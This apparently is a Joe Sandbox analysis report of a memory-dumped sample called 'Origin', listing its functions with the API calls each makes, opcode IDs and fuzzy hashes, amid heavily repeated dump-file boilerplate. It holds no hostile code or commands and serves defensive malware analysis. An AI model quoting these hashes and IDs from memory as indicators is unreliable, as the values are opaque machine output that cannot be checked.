Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: 00adf5b97169dbc913a568218eb0aa2eb87c150bf94bc0fc357c3d30f3054a2a
Instruction ID: 7b03e7de0c35704342361895534d5c013dddd3b9267ff3498818661aaf5a5ce7
Opcode Fuzzy Hash: 00adf5b97169dbc913a568218eb0aa2eb87c150bf94bc0fc357c3d30f3054a2a
Instruction Fuzzy Hash: BD116A719183419BC710DF6AEC49A0EFBE8EF98750F00465BF044972A2DBB0A948CB92

Function 00BE42F9 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000,00000000,?,?,00BE3E72,?,?,?,00000000), ref: 00BE4327
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,00000000,?,?,00BE3E72,?,?,?,00000000), ref: 00C20697

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 185722ab098acf41a3dac88831b43f0c3c084b4cbde8cd899887ce6b0d9ac3c2
Instruction ID: 28d99dbc5d8352a7853f264e69bc33f3f282f46bdb8621e4d49f9b3ee9bd8637
Opcode Fuzzy Hash: 185722ab098acf41a3dac88831b43f0c3c084b4cbde8cd899887ce6b0d9ac3c2
Instruction Fuzzy Hash: F201B570244348BEF3301E25CC8AF6A7ADCEB06769F20C359FAE56A1E0C7B45C458B18

Function 00BF0F16 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BF586C: __FF_MSGBANNER.LIBCMT ref: 00BF5883
Part of subcall function 00BF586C: __NMSG_WRITE.LIBCMT ref: 00BF588A
Part of subcall function 00BF586C: RtlAllocateHeap.NTDLL(01140000,00000000,00000001,?,00000004,?,?,00BF0F33,?), ref: 00BF58AF

std::exception::exception.LIBCMT ref: 00BF0F4C
__CxxThrowException@8.LIBCMT ref: 00BF0F61

Part of subcall function 00BF86FB: RaiseException.KERNEL32(?,?,?,00C8AE78,?,?,?,?,?,00BF0F66,?,00C8AE78,?,00000001), ref: 00BF8750

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: 0d1371ffbe81a5504be4bd9e4a2ca14db154c4706e0d72c11e150bd654fdaad6
Instruction ID: ec59daf910bbd92d826a58ca71728f5a010fb566f3273f66560e871b5fc990b1
Opcode Fuzzy Hash: 0d1371ffbe81a5504be4bd9e4a2ca14db154c4706e0d72c11e150bd654fdaad6
Instruction Fuzzy Hash: 03F0A47151820D66DF30BA58DC019FE7BE8DF01350F5004A6FE1497192EF718B58C2D5

Function 00BF574D Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BF577C
__lock_file.LIBCMT ref: 00BF579D

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: c6eb0621c2c456596263f4f712ab6961b5af37988382eafe2d5c8952dc4ab174
Instruction ID: f8a3dc1d399d4d13f0e012fd7b83f61550ee6a225bc7a8fc920a0d7c635f5dbc
Opcode Fuzzy Hash: c6eb0621c2c456596263f4f712ab6961b5af37988382eafe2d5c8952dc4ab174
Instruction Fuzzy Hash: 41015E71800A0CEACF22BF658C014AE7BE1EF50320B144295BB245B151D7718A29DBA1

Function 00BF54F6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BF8C88: __getptd_noexit.LIBCMT ref: 00BF8C88

__lock_file.LIBCMT ref: 00BF553B

Part of subcall function 00BF6D6E: __lock.LIBCMT ref: 00BF6D91

__fclose_nolock.LIBCMT ref: 00BF5546

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 3c5eca2dbc11bcdd10b1ca07c8dfd0a7e42a6e800116065d22ca1a149a45de11
Instruction ID: 270b9c5d6b305f3c3dbf2d38cbbcf8f8ba2afdb40386906328b26c1531570586
Opcode Fuzzy Hash: 3c5eca2dbc11bcdd10b1ca07c8dfd0a7e42a6e800116065d22ca1a149a45de11
Instruction Fuzzy Hash: B5F0F031901B0C9ADB20AB65880277E67E2AF10330F148289E724AB1C1CF7C8E099B51

Function 00BDE36D Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00BDE385
Sleep.KERNEL32(00000000), ref: 00BDE3BE

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: SleepTimetime
String ID:
API String ID: 346578373-0
Opcode ID: f2df3922ed4ab4f4d936cfc9dcf0e84f1c8286cba77c7653490c103b23234bda
Instruction ID: ff89400491a0e0368f208673841861079b2af4b042802bd3bc5f004ef3c45135
Opcode Fuzzy Hash: f2df3922ed4ab4f4d936cfc9dcf0e84f1c8286cba77c7653490c103b23234bda
Instruction Fuzzy Hash: D3F05E302406069FC360AB69D445B6AF7E4EB45360F00006AE42AC7351EB60A800CB91

Function 00BF5DB0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00BF5DE4
__ftell_nolock.LIBCMT ref: 00BF5DEF

Part of subcall function 00BF8C88: __getptd_noexit.LIBCMT ref: 00BF8C88

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: __ftell_nolock__getptd_noexit__lock_file
String ID:
API String ID: 2999321469-0
Opcode ID: 0dc03f16781abcb2a88e2e8e06fefd19b3b9caa292cf2c595747410ec67bfae7
Instruction ID: d095b9267b057eb8dcce9909ee50e380d9767be5a788fe5f6dabc21a981fd85c
Opcode Fuzzy Hash: 0dc03f16781abcb2a88e2e8e06fefd19b3b9caa292cf2c595747410ec67bfae7
Instruction Fuzzy Hash: CBF0A731901A0D9ADB20BB74480277E66D0AF01330F114295F210AB1C1CF784E495655

Function 00BE5AC3 Relevance: 3.0, APIs: 2, Instructions: 25windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BE5AEF
Shell_NotifyIconW.SHELL32(00000002,?), ref: 00BE5B1F

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: IconNotifyShell__memset
String ID:
API String ID: 928536360-0
Opcode ID: 084079c1a727da0df32dcf9a6dafb0c80843c70444be5cef5ceb7ba6b525ca5a
Instruction ID: d75bc4c8bc48d6c07bb9bf426680d82a2df721cd8da6da26190043859bff039c
Opcode Fuzzy Hash: 084079c1a727da0df32dcf9a6dafb0c80843c70444be5cef5ceb7ba6b525ca5a
Instruction Fuzzy Hash: C7F037719043589FDBA29F64DC497AA77BC970130CF0001EAEA48962D6DBB54B88CF55

Function 00BF0D68 Relevance: 2.6, APIs: 2, Instructions: 94sleepCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00BF0E05
Sleep.KERNEL32 ref: 00BF0E17

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CloseHandleSleep
String ID:
API String ID: 252777609-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 0c2e450d7086487d6053be9bdf0dfb75e9746df58feece79fd97e1754c0ab1e1
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: D131D678A10109DBCB18EF58C4C0969F7E6FB49300B6486E5EA0ACB666D730EDC5CBC0

Function 00C4C11D Relevance: 1.8, APIs: 1, Instructions: 288COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: LoadString$__swprintf
String ID:
API String ID: 207118244-0
Opcode ID: 09f4a2a615e9922cf8c89ca622cecf5dcdcfec618c693997c1e55866ef4dd71b
Instruction ID: ab6bf5af51d99cf2fd815ba48a2299abf193035a4d7d4a0f987a5819adfdeeb0
Opcode Fuzzy Hash: 09f4a2a615e9922cf8c89ca622cecf5dcdcfec618c693997c1e55866ef4dd71b
Instruction Fuzzy Hash: A9B16E35A01109DFCB14EF95D891DFEB7B5FF48710F20815AF926AB2A1EB31AA41CB50

Function 00BDA820 Relevance: 1.7, APIs: 1, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c03eda3b5c9ef91a577066b92123074178f762d49d6b7b75f837565a4a164f2
Instruction ID: c92015fccb76d722d197a8e44e8f662e4e87f63be230060c9debe6a544189af6
Opcode Fuzzy Hash: 7c03eda3b5c9ef91a577066b92123074178f762d49d6b7b75f837565a4a164f2
Instruction Fuzzy Hash: AE61DE746002069FDB10DF60C890ABAF7E5EF49310F1580AEED168B391E779ED90DB91

Function 00BDD679 Relevance: 1.7, APIs: 1, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dc95ee3ff37f0ae993f09d99398a42158cfab0e2fc933451872ebda849f41c1
Instruction ID: 9ce57f20053808348cde53ecde95eac229d97851b9814371f520cea5dc672989
Opcode Fuzzy Hash: 1dc95ee3ff37f0ae993f09d99398a42158cfab0e2fc933451872ebda849f41c1
Instruction Fuzzy Hash: E751B330600604AFCF14EF68C995EAEB7E5AF45310F1485E9F856AB392DB30EE01DB90

Function 00BE343F Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00BE351A

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 6d56029a1d4209a93ccb965244c023c537d6182e3f29dc5323de0a4681017de4
Instruction ID: 858c19a1c0878cfcdd49b84d1d862660cf1a46ba22b52fd05b4235fd65a958f8
Opcode Fuzzy Hash: 6d56029a1d4209a93ccb965244c023c537d6182e3f29dc5323de0a4681017de4
Instruction Fuzzy Hash: A731A175604642DFC724EF1AD494A31F7F0FF08710B54C5A9E98A8B7A5D730E941CB90

Function 00BE410A Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,?,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00BE41B2

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 068b419afdd316c0ac201aa82a3135e237311fd40f535fa60a71028d11f8a079
Instruction ID: 223cecc53e6397e3223b6b902e600de89ae53dfa344261b08b580f5ada3fde21
Opcode Fuzzy Hash: 068b419afdd316c0ac201aa82a3135e237311fd40f535fa60a71028d11f8a079
Instruction Fuzzy Hash: 11316D71A00695AFCF18CF2EC88065DBBF1FF54310F158659E919A3710D770B9A4CB91

Function 00C0E20F Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00C0E21A

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: f33f7112c783c019535631767d5efbd0231c52ce8edd48d113815a862be537a5
Instruction ID: 6c2563c2debe9bddab3cc89a500b4164d3e4f8c7bbe2dbe3110b0a358b9b270f
Opcode Fuzzy Hash: f33f7112c783c019535631767d5efbd0231c52ce8edd48d113815a862be537a5
Instruction Fuzzy Hash: AA4105745083518FDB24DF14C484B1AFBE1BF45308F1988ADE8999B362D371E885CB92

Function 00BE49C2 Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BE4B29: FreeLibrary.KERNEL32(00000000,?), ref: 00BE4B63

Part of subcall function 00BF53AB: __wfsopen.LIBCMT ref: 00BF53B6

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,00BE27AF,?,00000001), ref: 00BE49F4

Part of subcall function 00BE4ADE: FreeLibrary.KERNEL32(00000000), ref: 00BE4B18

Part of subcall function 00BE48B0: _memmove.LIBCMT ref: 00BE48FA

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: 7478155373f1246825f46758d1bd71940d6859e517c4aa117e30c69cbc701bff
Instruction ID: e41ebe9725bf8339de472ba54fcd9c514e1dbe778ac6c57cd51ccc49107b24ad
Opcode Fuzzy Hash: 7478155373f1246825f46758d1bd71940d6859e517c4aa117e30c69cbc701bff
Instruction Fuzzy Hash: DE11E731650249ABCF20FB71CC52FAE77E9DF40711F20447DF541A6182EFB09A01A798

Function 00BE1BCC Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00BE1BFE

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: ed768318928ad9db74eb72ab79bc14ac0b3ac671dc733207cff94445e1afad0c
Instruction ID: 3bf76b8cd2162c7b92df268d45a348667e8e975dff1470fd27ca75f2349c1377
Opcode Fuzzy Hash: ed768318928ad9db74eb72ab79bc14ac0b3ac671dc733207cff94445e1afad0c
Instruction Fuzzy Hash: 27113A76604605DFC724DF2DD481926B7E9FF48314B20886EE58ACB361E732E841CB50

Function 00C0E2F2 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00C0E2FE

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: aa750016fef5e847d702303214cfede48be5bc9c96d41ed5888f189befab0904
Instruction ID: b800e22b01c64313942159b98659973c8b64d60c860c23bab1f9b48182b423aa
Opcode Fuzzy Hash: aa750016fef5e847d702303214cfede48be5bc9c96d41ed5888f189befab0904
Instruction Fuzzy Hash: 572114B4508301DFDB24DF54C484B5ABBE1BF85304F0589ADF98A5B762D731E849CB92

Function 00BE4220 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,?,00010000,00000000,00000000,00000000,00000000,00010000,?,00BE3CF8,00000000,00010000,00000000,00000000,00000000,00000000), ref: 00BE4276

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 5a65f52fd78621cdfbb62684e981188c9394801424bfa263d28557e731169acf
Instruction ID: 600b5067838948a1db565b80fdcd5ea90b92d50f440b25a69755a323af61b2e2
Opcode Fuzzy Hash: 5a65f52fd78621cdfbb62684e981188c9394801424bfa263d28557e731169acf
Instruction Fuzzy Hash: 33114831210B419FD730CF56C880B66B7F9EF88710F10C96EEAAA86A50D7B0F845CB60

Function 00BE1A36 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00BE1A77

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
